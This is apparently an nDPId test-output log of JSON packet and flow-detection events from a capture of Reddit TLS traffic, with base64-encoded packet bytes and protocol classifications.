+00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":453,"source":"reddit.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1605291686060,"flow_last_seen":1605291686099,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56574,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100609,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO8IeJd6tioBJXgCN0AAACBAV4AQMDAwQCCArC1zjGqXTmBA=="} +00467{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100610,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsk6UAYN+NoBJXgFfrAAACBAV4AQMDAwQCCArC1zjGqXTmAA=="} +00467{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100610,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwRcUBxWYioBJXgB9GAAACBAV4AQMDAwQCCArC1zjGqXTmBA=="} +00453{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100641,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3q2LoDvCIgBAB+6dhAAABAQgKqXTmKMLXOMY="} +00453{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100651,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCVnRACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg341lbJOmgBAB+9vUAAABAQgKqXTmKMLXOMY="} +00453{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100655,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFZiJj8EXGgBAB+6MzAAABAQgKqXTmKMLXOMY="} +00467{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100692,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzgy8YZci18oBJXgKFLAAACBAV4AQMDAwQCCArC1zjGqXTmBA=="} +00453{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100697,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCQMdACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyLXx84MvHgBAB+yU5AAABAQgKqXTmKMLXOMY="} +01145{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100785,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3q2LoDvCIgBgB+xTvAAABAQgKqXTmKMLXOMYWAwECAAEAAfwDA+4rEWoD2S7prdk0mAkbCbz9OAUfkZBI4IF9dVBNcGrjII4pXVZ09KrfaYtjFSFfkXaLG3KyMXbQwptYN7z2pKjvACAaGhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZP6+gAAAAAAFAASAAAPcHJldmlldy5yZWRkLml0ABcAAP8BAAEAAAoACgAICgoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkKCgABAAAdACBezRVw29zCPI1rNVsRPhgUYKPeoX8z4m7fd2omUSmBZAAtAAIBAQArAAsKmpoDBAMDAwIDAQAbAAMCAAIqKgABAAAVAM0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":462,"source":"reddit.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1605291686064,"flow_last_seen":1605291686100,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01149{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100889,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCVnRAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg341lbJOmgBgB+8IAAAABAQgKqXTmKMLXOMYWAwECAAEAAfwDAz44wxNKK\/NmCENy19IstQwUOYfLIsCmy1HTB+ZnxXBWIOpRUF6jXLeEhErlOcKJeYoVVkgrMryC\/u3A+OY8YDqrACD6+hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMKCgAAAAAAGwAZAAAWc3R5bGVzLnJlZGRpdG1lZGlhLmNvbQAXAAD\/AQABAAAKAAoACFpaAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApWloAAQAAHQAgthdDCBUKTQpaJJwGm6HndDmBR9mA0N\/zcVcubLV2InoALQACAQEAKwALCgoKAwQDAwMCAwEAGwADAgACSkoAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":463,"source":"reddit.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1605291686060,"flow_last_seen":1605291686100,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01150{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":100989,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFZiJj8EXGgBgB+w\/dAAABAQgKqXTmKMLXOMYWAwECAAEAAfwDA\/xnn\/TajPOsIWf7ZuWna3vaZajQKdMOe\/1ScZVbv3E0ICjbo+VqdfAny10cV6Naq5nwKIICz3wRpv5Bq28N+oa9ACDKyhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAFAASAAAPcHJldmlldy5yZWRkLml0ABcAAP8BAAEAAAoACgAIiooAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmKigABAAAdACDVsGI25kl8JkmazH9JA6mvPzRMtadK+W7sW\/fRvpFrTAAtAAIBAQArAAsKSkoDBAMDAwIDAQAbAAMCAAJ6egABAAAVAM0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":464,"source":"reddit.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1605291686064,"flow_last_seen":1605291686100,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01151{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":101082,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCQMdAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyLXx84MvHgBgB+x\/BAAABAQgKqXTmKcLXOMYWAwECAAEAAfwDAz6SDTaBPPoxlu\/6nyTmclibqATJEMVKR2GfYD\/wXr0NIAENzqDXq8Wo2Bu1hnYnue89pYme7\/8\/HVUKT7+0fWNUACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAFAASAAAPcHJldmlldy5yZWRkLml0ABcAAP8BAAEAAAoACgAIamoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClqagABAAAdACCGO8UoFeFs5DFn8Mr4+C1HHCBuj\/ATUm2KisMDLC1sOgAtAAIBAQArAAsKiooDBAMDAwIDAQAbAAMCAAJKSgABAAAVAM0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":465,"source":"reddit.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1605291686064,"flow_last_seen":1605291686101,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":102919,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6Vo\/hs46MGoBJXgG5nAAACBAV4AQMDAwQCCArC1zjGqXTmBA=="} +00454{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":102932,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBZ0wACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjowYOlaP5gBAB+\/JSAAABAQgKqXTmKsLXOMY="} +01148{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":103163,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBZ0wAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjowYOlaP5gBgB+6pXAAABAQgKqXTmK8LXOMYWAwECAAEAAfwDAzpoH5eGEGzTFt5HMarkQS85RnurgVO\/aBYt9fo57YL+IKTuih3DEW77d6v3Ju+D+D5ks\/z7dDlOpig4k7rr1nYZACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAFAASAAAPcHJldmlldy5yZWRkLml0ABcAAP8BAAEAAAoACgAIKioAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkqKgABAAAdACBQT3pU4XvIA\/VlN6TB5fHnSiCNPOTwhb7yYNoEZjwQNQAtAAIBAQArAAsK6uoDBAMDAwIDAQAbAAMCAAJqagABAAAVAM0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":468,"source":"reddit.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1605291686064,"flow_last_seen":1605291686103,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56588,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":103676,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtCtHxMDE0gBALMOjtAAABAQgKwtc4yKl05gU="} +01861{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":105978,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtCtHxMDE0gBgLMPNvAAABAQgKwtc4y6l05gUWAwMAUgIAAE4DA9ehcoimQeEeEMjvAe4McgOYyKOWeQYca+m76bdxj4MDAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":470,"source":"reddit.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1605291686035,"flow_last_seen":1605291686105,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56564,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":105978,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMMqLg8c6FgBALMEUrAAABAQgKwtc4yql05gU="} +01875{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":105979,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtDunxMDE0gBgLMIbLAAABAQgKwtc4y6l05gVpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2